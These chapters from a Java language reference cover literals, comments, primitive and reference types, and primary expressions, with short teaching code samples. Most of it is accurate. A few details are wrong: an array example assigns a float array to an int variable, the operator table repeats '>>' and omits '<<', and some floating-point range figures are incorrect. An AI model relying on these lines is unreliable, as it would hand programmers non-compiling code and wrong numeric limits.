Table 2.1: Minimum and Maximum int Literals
Representation | Minimum Value | Maximum Value
Hexadecimal | 0x80000000 | 0x7fffffff
Octal | 020000000000 | 017777777777
Base 10 equivalent | -2147483648 | 2147483647

The range of values that can be represented by long hexadecimal and octal literals is shown in Table 2-2.

Table 2.2: Minimum and Maximum long Literals
Representation | Minimum Value | Maximum Value
Hexadecimal | 0x8000000000000000L | 0x7fffffffffffffffL
Octal | 01000000000000000000000L | 0777777777777777777777L
Base 10 equivalent | -9223372036854775808 | 9223372036854775807

References
**UNKNOWN XREF**;
**UNKNOWN XREF**;
Integer types;
Conversion to Unicode;
Unary Operators

Floating-point literals

A floating-point literal represents a constant value of type float or double :

[Graphic: Figure from the text]

A floating-point literal must minimally contain at least one digit and either a decimal point or an exponent.

The data type of a floating-point literal is float if and only if the suffix f or F appears at the end of the literal. If there is no suffix or the suffix is d or D, the data type is double.

Floating-point literals cannot begin with a + or a -. If either of these precedes a floating-point literal, it is treated as a separate token, a unary operator.

Here are some examples of float literals:

23e4f
1.E2f
.31416e1F
2.717f
7.63e+9f

Here are some examples of double literals:

23e4
1.E2
.31415e1D
2.717
7.53e+9d

The ranges of values that can be represented by float and double literals are shown in Table 2-3.

Table 2.3: Minimum and Maximum Floating-Point Literals
Representation | Minimum Value | Maximum Value
float | 1.40239846e-45f | 3.40282347e38f
double | 4.94065645841246544e-324 | 1.79769313486231570e308

Floating-point literals that exceed these limits are treated as errors by the Java compiler. The special floating-point values positive infinity, negative infinity, and not-a-number are available as predefined constants in Java, as part of the Float and Double classes.

References
**UNKNOWN XREF**;
Floating-point types;
Unary Operators;
Double;
Float

Boolean literals

There are two boolean literal values, represented by the keywords true and false:

[Graphic: Figure from the text]

References Boolean Type

Character literals

A character literal represents a constant value of type char (an unsigned 16-bit quantity). A character literal consists of either the character being represented, or an equivalent escape sequence, enclosed in single quotes:

[Graphic: Figure from the text]

[Graphic: Figure from the text]

Here are some examples of character literals:

'c'
'n'
'\\'
'\u0138'

The character sequence \u xxxx is not defined above as a valid Escape, even though it can be used as a legal character literal. This sequence of characters is defined as an EscapedSourceCharacter, which is handled during the pre-processing phase, before tokenization takes place. As a result, the tokenization phase never sees an EscapedSourceCharacter. Tokenization sees only the single Unicode character that replaces the EscapedSourceCharacter during pre-processing.

The translations of the different types of escape sequences supported in Java are shown in Table 2-4.

Table 2.4: Java Escape Sequences
Escape Sequence | Unicode Equivalent | Meaning
\b | \u0008 | Backspace
\t | \u0009 | Horizontal tab
\n | \u000a | Linefeed
\f | \u000c | Form feed
\r | \u000d | Carriage return
\" | \u0022 | Double quote
\' | \u0027 | Single quote
\\ | \u005c | Backslash
\xxx | \u0000 to \u00ff | The character corresponding to the octal value xxx

A character literal representing a carriage return character can be written only as '\r'; a character literal representing a linefeed character can be written only as '\n'. During the pre-processing that precedes token recognition, these characters are classified as line terminators, so neither carriage return (\u000d) nor linefeed (\u000a) characters in Java source code can ever be seen by the Java compiler as being part of a character literal.

If a backslash that is not part of a legal Escape appears in a character literal, it is flagged as an error. This is different from languages like C++ that ignore backslashes in character literals that are not part of an escape.

References Conversion to Unicode; Integer types; **UNKNOWN XREF**

String literals

A string literal represents a constant string value and consists of the characters in the string or the equivalent escapes:

[Graphic: Figure from the text]

Here are some examples of string literals:

""                         // the empty string
"Hello World"
"This has \"escapes\"\n"   // a string literal with escapes

There is no primitive type for representing strings in Java. Instead, each string literal becomes a reference to a String object. If two or more string literals consist of the same sequence of characters, they refer to the same String object. Using one String object to represent multiple string literals works because, once created, the contents of a String object cannot be changed.

For a string literal to contain a carriage return or linefeed character, the carriage return or linefeed must be written as \r or \n. Neither carriage return (\u000d) nor linefeed (\u000a) characters in Java source code can ever be seen by the Java compiler as part of a string literal. These characters are classified as line terminators during the pre-processing phase that precedes token recognition. For the same reason, \u Unicode escapes for carriage return and linefeed characters cannot be directly used in string literals.

If a backslash that is not part of a legal Escape appears in a string literal it is flagged as an error. This is different from languages like C++ that ignore backslashes in string literals that are not part of an escape.

Because operations on strings are generally based on the length of the string, Java does not automatically supply a NUL character (\u0000) at the end of a string literal. For the same reason, it is not customary for Java programs to put a NUL character at the end of a string.

References
Escape 2.2.3.4;
Specially supported classes;
String;
StringBuffer;
String Concatenation Operator +

Separators

A separator is any one of the punctuation tokens in the following railroad diagram:

[Graphic: Figure from the text]

Separator tokens are used to separate other types of tokens. Thus, separators are a part of a higher-level syntactic construct. Although separators have syntactic significance, they do not imply any operation on data.

Operators

An operator is a token that implies an operation on data. Java has both assignment and non-assignment operators:

[Graphic: Figure from the text]

A NonAssignmentOperator is one of the following:

+ | - | <= | ^ | ++
< | * | >= | % | --
 | / | != | ? | >>
! | & | == | : | >>
~ | | | && | >>> |

An AssignmentOperator is one of the following:

= | -= | *=
/= | |= | &=
^= | += | %=
<<= | >>= | >>>=

Unlike C/C++, Java does not have a comma operator. Java does allow a comma to be used as a separator in the header portion of for statements, however. Java also omits a number of other operators found in C and C++. Most notably, Java does not include operators for accessing physical memory as an array of bytes, such as sizeof, unary & (address of), unary * (contents of), or -> (contents of field).

Comments

Java supports three styles of comments:

  • A standard C-style comment, where all of the characters between /* and */ are ignored.

  • A single-line comment, where all of the characters from // to the end of the line are ignored.

  • A documentation comment that begins with /** and ends with */. These comments are similar to standard C-style comments, but the contents of a documentation comment can be extracted to produce automatically generated documentation.

The formal definition of a comment is:

[Graphic: Figure from the text]

C-style comments and documentation comments do not nest. For example, consider the following arrangement of comments:

/*   ...   /*   ...   */   ...   */

The Java compiler interprets the first */ to be the end of the comment, so that what follows is a syntax error.

However, in a single-line comment (i.e., one that starts with // ), the sequences /*, /**, and */ have no special meaning. Similarly, in a C-style comment or a documentation comment (i.e., comments that begin with /* or /**), the sequence // has no special meaning.

In order to comment out large chunks of code, you need to adopt a commenting style. The C/C++ practice of using #if to comment out multiple lines of code is not available for Java programs because Java does not have a conditional compilation mechanism. If you use C-style comments in your code, you'll need to use the // style of comment to comment out multiple lines of code:

///*
// * Prevent instantiation of RomanNumeral objects without
// * parameters.
// */
//    private RomanNumeral() {
//        super();
//    }

The /* */ style of comment cannot be used to comment out the lines in the above example because the example already contains that style of comment, and these comments do not nest.

If, however, you stick to using the // style of comment in your code, you can use C-style comments to comment out large blocks of code:

/*
 *// Prevent instantiation of RomanNumeral objects without
 *// parameters.
 *    private RomanNumeral() {
 *        super();
 *     }
 */

Which style you choose is less important than using it consistently, so that you avoid inadvertently nesting comments in illegal ways.

References Documentation Comments; Division of the Input Stream into Lines

White Space

White space denotes characters such as space, tab, and form feed that do not have corresponding glyphs, but alter the position of following glyphs. White space and comments are discarded. The purpose of white space is to separate tokens from each other:

[Graphic: Figure from the text]

SpaceCharacter is equivalent to \u0020.

HorizontalTabCharacter is equivalent to \u0009 or \t.

FormFeedCharacter is equivalent to \u000C or \f.

EndOf FileMarker is defined as \u001A. Also known as Control-Z, this is the last character in a pre-processed compilation unit. It is treated as white space if it is the last character in a file, to enhance compatibility with older MS-DOS programs and other operating environments that recognize \u001A as an end-of-file marker.

References Division of the Input Stream into Lines

Previous | Home | Next
Pre-Processing | Book Index | Data Types
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] Data Types

Java Language Reference

Previous Chapter 3 Next

3. Data Types

Contents:
Primitive Types
Reference Types

A data type defines the set of values that an expression can produce or a variable can contain. The data type of a variable or expression also defines the operations that can be performed on the variable or expression. The type of a variable is established by the variable's declaration, while the type of an expression is determined by the definitions of its operators and the types of their operands.

Conceptually, there are two types of data in Java programs: primitive types and reference types. The primitive types are self-contained values that can be contained in a variable. The primitive types are comprised of integer types, floating-point types, and the boolean type. Of these, the integer types and floating-point types are considered arithmetic types, since arithmetic can be performed on them. Reference types contain values that point to or identify arrays or objects. The syntax for specifying a type is:

[Graphic: Figure from the text]

References
Arithmetic Types;
Boolean Type;
Floating-point types;
Integer types;
Interface method return type;
Interface Variables;
Local Variables;
Method return type;
Primitive Types;
Reference Types;
Variables

3.1 Primitive Types

A primitive data type represents a single value, such as a number, a character, or a Boolean value. Java has primitive types for arithmetic and Boolean data:

[Graphic: Figure from the text]

References Arithmetic Types; Boolean Type

Arithmetic Types

Unlike in C/C++, all of the arithmetic data types in Java are specified to have representations that are independent of the particular computer running a Java program. This guarantees that numeric computations made by Java programs produce the same results on all platforms.

There are two kinds of arithmetic types: integer and floating-point.

The integer types are: byte, short, int, long, and char. Like C/C++, character data is considered an integer type because of its representation and because arithmetic operations can be performed on char data. Unlike C/C++, however, short int and long int are not valid data types in Java. In addition, signed and unsigned do not have any special meaning in Java.

The floating-point data types are float and double.

The formal definition of an arithmetic type is:

[Graphic: Figure from the text]

References Integer types; Floating-point types

Integer types

Java provides integer data types in a variety of sizes. Unlike C/C++, however, the sizes of these types are part of the language specification; they are not platform-dependent. Formally:

[Graphic: Figure from the text]

The values represented by these types are specified in Table 3-1. The representation shown is used on all platforms and is independent of the native platform architecture.

Table 3.1: Integer Types and Their Representations
Type | Representation | Range
byte | 8-bit, signed, two's complement | -128 to 127
short | 16-bit, signed, two's complement | -32768 to 32767
int | 32-bit, signed, two's complement | -2147483648 to 2147483647
long | 64-bit, signed, two's complement | -9223372036854775808 to 9223372036854775807
char | 16-bit, unsigned, Unicode | '\u0000' to '\uffff'

All of the signed integer types in Java use a two's complement representation. Two's complement is a binary encoding for integers, which has the following properties:

  • The leftmost bit is the sign bit. If the sign bit is 1, the number is negative.

  • Positive numbers have the usual binary representation.

  • Negating a number involves complementing all of the bits in the number and then adding 1 to the result.

  • The most negative value does not have a positive equivalent.

The java.lang package includes the Byte, Short, Integer, Long, and Character classes. These classes provide object wrappers for byte, short, int, long, and char values, respectively. Each of these classes defines static MIN_VALUE and MAX_VALUE variables for its minimum and maximum values.

Java performs all integer arithmetic using int or long operations. A value that is of type byte, short, or char is widened to an int or a long before the arithmetic operation is performed.

A value of any integer type can be cast (i.e., converted) to a value of any other integer type. Integer types, however, cannot be cast to a boolean value, nor can the boolean type be cast to an integer-type value. A value of a signed integer type can be assigned to a value of the same or wider type without a cast. In this case, the value is automatically widened to the appropriate type. Table 3-2 shows whether an assignment from a particular integer type to another integer type can be done directly or if it requires a type cast.

Table 3.2: Assignment Compatibility Between Integer Types
To/From | byte | char | short | int | long
byte | Assignable | Cast needed | Cast needed | Cast needed | Cast needed
char | Cast needed | Assignable | Cast needed | Cast needed | Cast needed
short | Assignable | Cast needed | Assignable | Cast needed | Cast needed
int | Assignable | Assignable | Assignable | Assignable | Cast needed
long | Assignable | Assignable | Assignable | Assignable | Assignable

The principle underlying the above table is that assignments that do not lose information do not require a type cast. Assigning a short value to an int without a cast is allowed because all of the values that can be represented by a short can also be represented by int. However, assigning an int value to a short is not allowed without a cast because it involves going from a 32-bit signed quantity to a 16-bit signed quantity. Similarly, a byte value cannot be assigned to char without a cast. byte is an 8-bit signed quantity, so it can represent negative numbers. However, char is a 16-bit unsigned quantity, so it cannot represent negative numbers.

Java provides the following kinds of operators for integer values:

  • Comparison operators

  • Arithmetic operators

  • Increment and decrement operators

  • Bitwise logical operators

If all of the operands of an operator are of an integer type, the operation is performed as an integer operation. Normally, integer operations are performed with a precision of 32 bits. If at least one of the operands of an integer operation is a long, however, the operation is performed with a precision of 64 bits.

When an integer operation overflows or underflows, there is no indication given that the overflow or underflow occurred.

If the right-hand operand (the divisor) of a division or remainder operation is 0, Java throws an ArithmeticException. Division by zero is the only circumstance that can cause an integer operation to throw an exception.

References
Additive Operators;
Assignment Operators;
Bitwise/Logical Operators;
Byte;
Character;
Conditional Operator;
Equality Comparison Operators;
Increment/Decrement Operators;
Integer;
Integer literals;
Long;
Multiplicative Operators;
Relational Comparison Operators;
Runtime exceptions;
Shift Operators;
Short;
Unary Operators

Floating-point types

Like C/C++, Java provides two sizes of floating-point numbers: single precision and double precision.

Formally:

[Graphic: Figure from the text]

Java uses the single precision 32-bit IEEE 754 format to represent float data and the double precision 64-bit IEEE 754 format to represent double data.[1] These representations are used on all platforms, whether or not there is native support for the formats. The values represented by these types are shown in Table 3-3.

[1] The IEEE 754 floating-point data representation and operations on it are defined in IEEE Standard for Binary Floating-Point Arithmetic, ANSI/IEEE Std. 754-1985 (IEEE, New York). The standard can be ordered by calling (908) 981-0060 or writing to IEEE, 445 Hoes Lane, PO Box 1331, Piscataway, NJ 08855-1331, USA.

Table 3.3: Floating-Point Types and Their Representations
Type | Representation | Range
float | 32-bit, IEEE 754 | 1.40239846e-45 to 3.40282347e+38
double | 64-bit, IEEE 754 | 4.94065645841246544e-324 to 1.79769313486231570e+308

Normally, non-zero float values are represented as:

sign*mantissa*2^exponent

where sign is +1 or -1, mantissa is a positive integer less than 2^24, and exponent is an integer in the inclusive range -149 to 104.

Non-zero double values are represented as:

sign*mantissa*2^exponent

where sign is +1 or -1, mantissa is a positive integer less than 2^53, and exponent is an integer in the inclusive range -1045 to 1000.

In addition, the IEEE 754 standard defines three special values:

Positive infinity

This value is produced when a float or double operation overflows, or a positive value is divided by zero. Positive infinity is by definition greater than any other float or double value.

Negative infinity

This value is produced when a float or double operation overflows, or a negative value is divided by zero. Negative infinity is by definition less than any other float or double value.

Not-a-number (NaN)

This value is produced by the float and double operations such as the division of zero by zero. When NaN is one of the operands for an operation, most arithmetic operations return NaN as the result. Since NaN is unordered, most comparison operators (e.g., <, <=, ==, >=, >) return false when one of their arguments is NaN. The exception is !=, which returns true when one of its arguments is NaN.

The java.lang package includes Float and Double classes that provide object wrappers for float and double values. Each class defines the three special values as symbolic constants: POSITIVE_INFINITY, NEGATIVE_INFINITY, and NaN. Each class also defines MIN_VALUE and MAX_VALUE constants for its minimum and maximum values.

Floating-point operations never throw exceptions. Operations that overflow produce positive or negative infinity. Operations that underflow produce positive or negative zero. Operations that have no defined result produce not-a-number.

Both float and double data types have distinct representations for positive and negative zero. These values compare as equal (0.0 == -0.0). Positive and negative zero do produce different results for some arithmetic operations, however: 1.0/0.0 produces positive infinity, while 1.0/-0.0 produces negative infinity.

A float value can be assigned to a double variable without using a type cast, but assigning a double value to a float variable does require a cast. Conversion from a float or double value to any other data type also requires a cast. Either of the floating-point data types can be cast to any other arithmetic type, but they cannot be cast to boolean. When a floating-point number is cast to an integer type, it is truncated (i.e., rounded toward zero).

Java provides the following kinds of operators for floating-point values:

  • Comparison operators

  • Arithmetic operators

  • Increment and decrement operators

If any of the arguments of an operation are of a floating-point type, the operation is performed as a floating-point operation. In other words, any of the integer operands are converted to floating point before the operation takes place. Floating-point operations are normally performed with a precision of 32 bits. However, if at least one of the operands of the operation is a double, the operation is performed with a precision of 64 bits.

References
Additive Operators;
Assignment Operators;
Conditional Operator;
Equality Comparison Operators;
Double;
Float;
Floating-point literals;
Increment/Decrement Operators;
Multiplicative Operators;
Relational Comparison Operators;
Unary Operators

Boolean Type

The boolean data type represents two values: true and false. These values are keywords in Java. The java.lang package includes a Boolean class that provides an object wrapper for boolean values. This Boolean class defines the constant objects Boolean.TRUE and Boolean.FALSE.

Java provides the following kinds of operators for boolean values:

  • Equality and inequality operators

  • Boolean logical operators

The following Java constructs require a boolean value to specify a condition:

  • if

  • while

  • for

  • do

  • The conditional operator ? :

Unlike C/C++, any attempt to substitute a different type for boolean in these constructs is treated as an error by Java.

No other data type can be cast to or from boolean. In particular, using the integer 1 to represent true and 0 to represent false does not work in Java. Though Java does not provide conversions between boolean and other types, it is possible to provide explicit logic to accomplish the same thing:

int i;
i != 0             // This is true if i is not equal to zero
boolean b;
b ? 1 : 0          // If b is true produce 1; otherwise 0

References
Boolean;
Bitwise/Logical Operators;
Boolean literals;
Boolean Negation Operator !;
Boolean Operators;
Conditional Operator;
Equality Comparison Operators;
The do Statement;
The for Statement;
The if Statement;
The while Statement

Previous | Home | Next
Tokenization | Book Index | Reference Types
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.2 Reference Types

Java Language Reference

Previous Chapter 3
Data Types 		Next

3.2 Reference Types

Java is an object-oriented language. An object is a collection of variables and associated methods that is described by a class. The concepts in this section that relate to objects are discussed in detail in Object-Orientation Java Style.

The name of a class can be used as a type, so you can declare an object-type variable or specify that a method returns an object. If you declare a variable using the name of a class for its type, that variable can contain a reference to an object of that class. Such a variable does not contain an actual object, but rather a reference to the class instance, or object, the variable refers to. Because using a class name as a type declares a reference to an object, such types are called reference types. Java also allows the use of an interface name to specify a reference type. In addition, array types in Java are reference types because Java treats arrays as objects.

The two main characteristics of objects in Java are that:

  • Objects are always dynamically allocated. The lifetime of the storage occupied by an object is determined by the program's logic, not by the lifetime of a procedure call or the boundaries of a block. The lifetime of the storage occupied by an object refers to the span of time that begins when the object is created and ends at the earliest time it can be freed by the garbage collector.

  • Objects are not contained by variables. Instead, a variable contains a reference to an object. A reference is similar to what is called a pointer in other languages. If there are two variables of the same reference type and one variable is assigned to the other, both variables refer to the same object. If the information in that object is changed, the change is visible through both variables.

Java references are very similar to pointers in C/C++, but they are not at all related to the C++ notion of a reference. The main difference between Java references and C++ pointers is that Java does not allow any arithmetic to be done with references. This, coupled with Java's lack of any way to explicitly deallocate the storage used by reference type values, guarantees that a reference can never point to an illegal address.

The formal definition of a reference type is:

[Graphic: Figure from the text]

It is possible to cause a reference variable to contain a reference to nothing by assigning the special value represented by the keyword null to the variable. The value null can be assigned to any reference variable without a type cast.

Java does not allow reference types to be cast to primitive data types or primitive data types to be type cast to reference types. In particular, unlike C/C++, there is no conversion between integer values and references.

The only operation that Java provides for reference-type variables is the ability to fetch the referenced object. However, Java does not provide an operator to fetch the object referenced by a reference variable. Instead, the object fetch operation is performed implicitly by the following operations:

  • A field expression that accesses a variable or method of a class or interface object

  • A field expression that accesses an element of an array object

  • A type comparison operation that uses the instanceof operator

References
Array Types;
ClassOrInterfaceName 4.1.6;
Class Types;
Field Expressions;
Interface Types;
null;
Object-Orientation Java Style;
Primitive Types;
The instanceof Operator

Class Types

The name of a class can be used to specify the type of a reference. If a variable is declared as a class type, the variable either contains null or a reference to an object of that class or a subclass of that class. It is not allowed to contain any other kinds of values. For example:

class Shape { ... }
class Triangle extends Shape { ... }
...
Shape s;
Triangle t;
...
s = t;

This example declares a class called Shape and a subclass of Shape called Triangle. The code later declares a reference variable called s that can contain a reference to a Shape object and another variable called t that can contain a reference to a Triangle object. The value of s can be assigned to the value of t because an object is not only an instance of its declared class, but also an instance of every superclass of its declared class. Since instances of the Triangle class are also instances of its superclass Shape, the Java compiler has no problem with s = t.

However, saying t = s generates an error message from the compiler. Java does not allow a reference variable declared as a class type to contain a reference to a superclass of the declared class. The assignment t = s is illegal because Shape is a superclass of Triangle. The assignment can be accomplished if s is first cast to a reference to Triangle:

t = (Triangle)s;

The cast operation ensures that the object referenced by s is a class type that is either Triangle or a descendant of Triangle. When you cast an object reference to a subclass of the reference type, you are saying that you want to treat the object being referenced as an instance of the specified subclass. If the compiler cannot determine whether the argument of a cast will be of the required type, the compiler generates runtime code that ensures that the argument really is an instance of the specified subclass. At runtime, if the class of the object being referenced is not an instance of the specified subclass, a ClassCastException is thrown.

References
Casts;
Classes;
Class Declarations;
Object Allocation Expressions;
Runtime exceptions

Specially supported classes

Java provides special support for the String and StringBuffer classes. All string literals are compiled into String objects. The result of a string concatenation operation is a String object. An intermediate StringBuffer object is used to compute the result of a concatenation operation. Because operations on strings are generally based on the length of the string, Java does not automatically supply a NUL character (\u0000) at the end of a string literal. For the same reason, it is not customary for Java programs to put a NUL character at the end of a string.

Java also provides special support for the Object class. This class is the ultimate superclass of all other classes in Java. If a class is declared without its superclass being specified, the language automatically specifies Object as its superclass.

The throw statement in Java is special, in that it requires the use of a Throwable object.

References
Object;
String;
StringBuffer;
String Concatenation Operator +;
String literals;
The throw Statement;
Throwable

Interface Types

The name of an interface can be used to specify the type of a reference. A reference variable declared using an interface name as its type can only reference instances of classes that implement that interface. For example, Java provides an interface called Runnable. Java also provides a class called Thread that implements Runnable. This means that the following assignment is allowed:

Runnable r;
r = new Thread();

The Java compiler does not allow a value to be assigned to a variable declared using an interface type unless the compiler can be sure that the object referenced by the value implements the specified interface. Casting a reference variable to an interface type allows the variable to be assigned to that interface type, because the cast operation provides its own guarantee that the object implements the specified interface. Unless the compiler is able to determine the actual class of the object that will be referenced at runtime, the cast produces code that verifies at runtime that the object being cast really does implement the specified interface. At runtime, if the object being cast does not implement the required interface, a ClassCastException is thrown.

References
Casts;
Interfaces;
Interface Declarations;
Object Allocation Expressions;
Runtime exceptions

Array Types

An array is a special kind of object that contains values called elements. Array elements are similar to variables in that they contain values that can be used in expressions and set by assignment operations. Elements differ from variables, however, in that they do not have names. Instead, they are identified by non-negative integers. The elements in an array are identified by a contiguous range of integers from 0 to one less than the number of elements in the array. The elements of an array must all contain the same type of value; the type of the array is specified when the array is created.

An array-type variable is declared as follows:

int [] a;

This declaration specifies that the variable a refers to an array of int values. Java actually allows two styles of array declarations: the one shown above and a style that is more like that used in C/C++. In other words, you can put the square brackets after the variable name instead of after the type:

int a[];

Technically, all arrays in Java are one-dimensional. However, Java does allow you to declare an array of arrays, which is a more flexible data structure than a multi-dimensional array. The additional flexibility comes from the fact that the arrays in an array of arrays do not have to be the same length. Because arrays of arrays are typically used to represent multi-dimensional arrays, this book refers to them as multi-dimensional arrays, even though that is not precisely correct.

A multi-dimensional array is declared using multiple pairs of square brackets, as in the following examples:

int [][] d2;       // Refers to a 2-dimensional array
int [][][] d3;     // Refers to a 3-dimensional array

When you declare a variable to refer to a multi-dimensional array, the number of dimensions in the array is determined by the number of pairs of square brackets. Whether the brackets follow the type name or the variable name is not important. Thus, the above variables could have been declared like this:

int [] d2[],       // Refers to a 2-dimensional array
       d3[][];     // Refers to a 3-dimensional array

The actual length of each dimension of an array object is specified when the array object is created, not when the array variable is declared. An array object is not created at the same time that an array variable is declared. An array object is created with the new operator. Here are some examples:

int j[] = new int[10];        // An array of 10 ints
int k[][] = new float[3][4];  // An array of 3 arrays of 4 floats

The arrays contained in an array of arrays can also be of different lengths:

int a[][] = new int [3][];
a[0] = new int [5];
a[1] = new int [6];
a[2] = new int [7];

Although the first new operator is creating a two-dimensional array, only the length of one dimension is specified. In this case, just the array of arrays is created. The subarrays are created by the subsequent new operators.

The expression used to specify the length of an array does not have to be a constant. Consider the following example:

int[] countArray(int n){
    int[] a = new int[n];
    for (int i=0; i<n; i++) {
        a[i]=i+1;
    }
    return a;
}

The number of elements in an array object is fixed at the time that the array object is created and cannot be changed.[2] Every array object has a public variable called length that contains the number of elements in the array. The variable length is final, which means that its value cannot be changed by assignment.

[2] The standard class java.util.Vector implements an array-like object with a length that can be changed.

The Java notion of arrays is fundamentally different than that of C/C++. Subscripting a Java array does not imply pointer arithmetic, so there is no danger of an out-of-range index accessing memory that shouldn't be accessed. Array objects in Java detect out-of-range subscripts; when they do they throw an ArrayIndexOutOfBoundsException. And unlike C/C++, arrays of type char are not strings in Java. Instead, Java uses the String class to support strings.

Although array objects are reference types, array objects are different from other kinds of objects. The Object class is the parent class of all array objects, but array objects do not really belong to a class of their own. An array object inherits all of the variables and methods of the Object class. Every array also defines the variable length, but there is no class declaration for an array type.

References
Variable initializers;
Array Allocation Expressions;
Index Expressions;
Object;
String

Previous | Home | Next
Primitive Types | Book Index | Expressions
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] Expressions

Java Language Reference

Previous Chapter 4 Next

4. Expressions

Contents:
Allocation Expressions
Increment/Decrement Operators
Unary Operators
Multiplicative Operators
Additive Operators
Shift Operators
Relational Comparison Operators
Equality Comparison Operators
Bitwise/Logical Operators
Boolean Operators
Conditional Operator
Assignment Operators
Order of Operations
Data Type of an Expression
Constant Expressions

Expressions in Java are used to fetch, compute, and store values. To fetch a value, you use a type of expression called a primary expression. To compute and store values, you use the various operators described in this chapter. In Java, expressions are most often used in methods and constructors; they can also appear in field variable initializers and static initializers.

Most expressions, when they are evaluated, produce values that can be used by other expressions. The one exception is an expression that calls a method declared with the void return type. An expression that invokes a void method cannot be embedded in another expression. The evaluation of an expression can also produce side effects, such as variable assignments and increment and decrement operations.

The value produced by an expression can be either a pure value or a variable or array element. The distinction is that a pure value cannot be used to store a value, while a variable or array element can.[1] An expression that produces a variable or an array element can be used anywhere that an expression that produces a pure value can be used.

[1] Note that Java's distinction between pure values and variable and array elements is similar to the distinction in C and C++ between rvalues and lvalues.

This chapter refers to values as being either pure values or variables. Saying that a value is a pure value means that it is a value such as 24 that contains information, but cannot be used as the target of an assignment expression. Saying that a value is a variable means that it is something like var or ar[i] that can be used as the target of an assignment. The generic term "value" is used to mean either a variable or a pure value.

The formal definition of an expression is:

[Graphic: Figure from the text]

The above diagram may seem deceptively simple; why is such a definition even necessary? Expressions in Java are defined with a number of mutually recursive railroad diagrams. You can think of the Expression definition as being both the lowest-level definition and the highest-level definition of these mutually recursive diagrams. In other words, a=b[i]+c[i] is an expression, as are b[i], c[i], a, b, c, and i. This first diagram defines an expression to be an AssignmentExpression, which is the final definition used to describe Java expressions.

References Assignment Operators

4.1 Primary Expressions

A primary expression is the most elementary type of expression. Primary expressions are constructs that fetch or create values, but do not directly perform computations on them:

[Graphic: Figure from the text]

Terms are those primary expressions that produce values, by doing such things as accessing fields in classes, invoking methods, and accessing array elements:

[Graphic: Figure from the text]

References
Allocation Expressions;
Expression 4;
FieldExpression 4.1.6;
Identifiers;
Index Expressions;
Literals;
Method Call Expression;
Class Literals

this

The keyword this can be used only in the body of a constructor or an instance method (i.e., a method that is not declared static), or in the initializer for an instance variable. A static method is not associated with an object, so this makes no sense in such a method and is treated as an undefined variable. If this is used in an inappropriate place, a compile-time error occurs.

The value produced by this is a reference to the object associated with the expression that is being evaluated. The type of the primary expression this is a reference to the class in which it appears.

One common use for this is to allow access to a field variable when there is a local variable with the same name. For example:

int foo;
void setFoo(int foo) {
    this.foo = foo;
}

Another common usage is to implement a callback mechanism. Passing this to another object allows that object to call methods in the object associated with the calling code. For example, to allow an object inside of an applet to be able to access parameters passed to the applet in the HTML <applet> tag, you can use code like the following:

public class MyApplet extends Applet {
    ...
    Foo foo;
    public void init() {
        foo = new Foo(this);
    ...
    }
}
class Foo {
    Applet app;
    ...
    Foo(Applet app) {
        this.app = app;
    }
    ...
    void doIt() {
        String dir = app.getParameter("direction");
        ...
    }
    ...
}

Another use for the keyword this is in a special kind of FieldExpression that refers to an enclosing instance of this object. A reference to an enclosing instance is written as the class name of the enclosing instance followed by a dot and the keyword this (as described in 5.3.7.2 Member classes). Consider the following code:

public class ImageButton extends Canvas {
    ...
    private class MyImage extends Image {
        Image fileImage;
        MyImage(String fileName) throws IOException {
            URL url = new URL(fileName);
            ImageProducer src = (ImageProducer)url.getContent();
            Image fileImage = createImage(src);
            prepareImage(this, ImageButton.this);
        }
    ...

The call to prepareImage() takes two arguments. The first argument is a reference to this instance of the MyImage class. The second argument is a reference to this object's enclosing instance, which is an instance of the ImageButton class.

References
Constructors;
Constructor implementation;
FieldExpression 4.1.6;
Inner Classes;
Methods

super

The keyword super can be used only in the body of a constructor or an instance method (i.e., a method that is not declared static), or in the initializer for an instance variable. In addition, super cannot appear in the class Object because Object has no superclass. If super is used in an inappropriate place, a compile-time error occurs.

In most cases, the primary expression super has a value that is equivalent to casting the value of the primary expression this to the superclass of the class in which it appears. In other words, super causes the object to be treated as an instance of its superclass. The type of the primary expression super is a reference to the superclass of the class in which it appears.

There are two situations in which super produces a result that is different than what would be produced by casting this to its superclass:

  • When super is used to explicitly call a constructor in the superclass from a constructor in the class, the field variables for the class are initialized when the superclass's constructor returns.

  • If a class contains a method that overrides a method declared in its superclass, calling the method by casting this to the superclass results in a call to the overriding method. However, calling the method with the special reference provided by super calls the overridden method in the superclass.

The main purpose of super is to allow the behavior of methods and constructors to be extended, rather than having to be totally replaced. Consider the following example:

class A {
    public int foo(int x) {
        return x*x;
    }
    public int bar(int x) {
        return x*8;
    }
}
class B extends A{
    public int foo(int x) {
        return super.foo(x)+x;
    }
    public int bar(int x){
        return x*5;
    }
}

The foo() method in class B extends the behavior of the foo() method in class A by calling that method and performing further computations on its result. On the other hand, the bar() method in class B totally replaces the behavior of the bar() method in class A.

References Constructors; Constructor implementation; Methods

null

The primary expression null produces a special object reference value that does not refer to any object, but is assignment-compatible with all object reference types.

An operation on an object reference that does not attempt to access the referenced object works the same way for null as it does for other object reference values. For example:

foo == null

However, any operation that attempts to access an object through a null reference throws a NullPointerException. The one exception to this rule is the string concatenation operator (+), which converts a null operand to the string literal "null".

References Runtime exceptions; String Concatenation Operator +

Literal Expressions

A primary expression that consists of a literal produces a pure value. The data type of this pure value is the data type of the literal.

References Literals

Parenthetical Expressions

A primary expression that consists of a parenthesized expression produces the same pure value as the expression in parentheses. The data type of this pure value is also the same as the data type of the expression in parentheses. A parenthetical expression can only produce a pure value. Thus, the following code produces an error:

(x) = 5;          // Illegal

References Expression 4

Field Expressions

A field expression is a primary expression that fetches such things as local variables, formal parameters, and field variables. A field expression can evaluate to a pure value or a variable. The data type of a field expression is the data type of the pure value, variable, or array element produced by the following expression.

[Graphic: Figure from the text]

[Graphic: Figure from the text]

Essentially, a field expression can be a simple identifier, a primary expression followed by an identifier, or a class or interface name followed by an identifier. Here's an example of a field expression that consists of a simple Identifier :

myVar

Before the Java compiler can decide what to do with a lone identifier such as this, it must first match it with a declaration. The compiler first looks in the method where the identifier appears for a local variable or formal parameter with the same name as the identifier. If the compiler finds a matching local variable or formal parameter, the field expression produces the matching variable or parameter.

If the identifier does not match a local variable or a formal parameter, it is expected to match the name of a field variable in the class in which it occurs.

If the matching variable is declared final, the field expression produces the pure value specified by the variable's initializer. Otherwise, the field expression produces the matching field variable. If the method that the identifier appears in is declared static, the matching variable must also be declared static or the compiler declares an error.

